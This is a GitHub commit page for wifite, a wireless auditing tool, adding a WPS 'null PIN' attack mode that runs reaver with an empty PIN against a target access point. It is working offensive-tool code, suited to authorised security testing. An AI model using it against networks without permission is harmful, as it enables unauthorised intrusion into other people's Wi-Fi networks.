Skip to content

Commit 2a664d4

Browse files
committed
Added WPS blank pin attack PR derv82#176
1 parent 315232a commit 2a664d4

File tree

3 files changed

+22
-6
lines changed

3 files changed

+22
-6
lines changed

wifite/attack/all.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,10 @@ def attack_single(cls, target, targets_remaining):
6464
if Configuration.wps_pixie:
6565
attacks.append(AttackWPS(target, pixie_dust=True))
6666

67+
# Null PIN zero-day attack
68+
if Configuration.wps_pin:
69+
attacks.append(AttackWPS(target, pixie_dust=False, null_pin=True))
70+
6771
# PIN attack
6872
if Configuration.wps_pin:
6973
attacks.append(AttackWPS(target, pixie_dust=False))

wifite/attack/wps.py

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,12 @@ class AttackWPS(Attack):
1414
def can_attack_wps():
1515
return Reaver.exists() or Bully.exists()
1616

17-
def __init__(self, target, pixie_dust=False):
17+
def __init__(self, target, pixie_dust=False, null_pin=False):
1818
super(AttackWPS, self).__init__(target)
1919
self.success = False
2020
self.crack_result = None
2121
self.pixie_dust = pixie_dust
22+
self.null_pin = null_pin
2223

2324
def run(self):
2425
''' Run all WPS-related attacks '''
@@ -78,7 +79,7 @@ def run_bully(self):
7879

7980

8081
def run_reaver(self):
81-
reaver = Reaver(self.target, pixie_dust=self.pixie_dust)
82+
reaver = Reaver(self.target, pixie_dust=self.pixie_dust, null_pin=self.null_pin)
8283
reaver.run()
8384
self.crack_result = reaver.crack_result
8485
self.success = self.crack_result is not None

wifite/tools/reaver.py

Lines changed: 15 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -18,10 +18,11 @@ class Reaver(Attack, Dependency):
1818
dependency_name = 'reaver'
1919
dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
2020

21-
def __init__(self, target, pixie_dust=True):
21+
def __init__(self, target, pixie_dust=True, null_pin=False):
2222
super(Reaver, self).__init__(target)
2323

2424
self.pixie_dust = pixie_dust
25+
self.null_pin = null_pin
2526

2627
self.progress = '0.00%'
2728
self.state = 'Initializing'
@@ -51,6 +52,9 @@ def __init__(self, target, pixie_dust=True):
5152
if pixie_dust:
5253
self.reaver_cmd.extend(['--pixie-dust', '1'])
5354

55+
if null_pin:
56+
self.reaver_cmd.extend(['-p', ''])
57+
5458
self.reaver_proc = None
5559

5660
@staticmethod
@@ -117,7 +121,7 @@ def _run(self):
117121

118122
# Check if locked
119123
if self.locked and not Configuration.wps_ignore_lock:
120-
raise Exception('{O}Access point is {R}Locked{W}')
124+
raise Exception('{O}Because access point is {R}Locked{W}')
121125

122126
time.sleep(0.5)
123127

@@ -134,7 +138,7 @@ def _run(self):
134138

135139

136140
def get_status(self):
137-
if self.pixie_dust:
141+
if self.pixie_dust or self.null_pin:
138142
main_status = ''
139143
else:
140144
# Include percentage
@@ -206,6 +210,9 @@ def parse_failure(self, stdout):
206210
if self.pixie_dust and self.running_time() > Configuration.wps_pixie_timeout:
207211
raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
208212

213+
if self.null_pin and self.running_time() > Configuration.wps_pixie_timeout:
214+
raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
215+
209216
# WPSFail count
210217
self.total_wpsfails = stdout.count('WPS transaction failed')
211218
if self.total_wpsfails >= Configuration.wps_fail_threshold:
@@ -297,12 +304,16 @@ def pattack(self, message, newline=False):
297304
time_left = Configuration.wps_pixie_timeout - self.running_time()
298305
time_msg = '{O}%s{W}' % Timer.secs_to_str(time_left)
299306
attack_name = 'Pixie-Dust'
307+
elif self.null_pin:
308+
time_left = Configuration.wps_pixie_timeout - self.running_time()
309+
time_msg = '{O}%s{W}' % Timer.secs_to_str(time_left)
310+
attack_name = 'NULL PIN'
300311
else:
301312
time_left = self.running_time()
302313
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
303314
attack_name = 'PIN Attack'
304315

305-
if self.total_attempts > 0 and not self.pixie_dust:
316+
if self.total_attempts > 0 and not self.pixie_dust and not self.null_pin:
306317
time_msg += ' {D}PINs:{W}{C}%d{W}' % self.total_attempts
307318

308319
Color.clear_entire_line()

0 commit comments

Comments
 (0)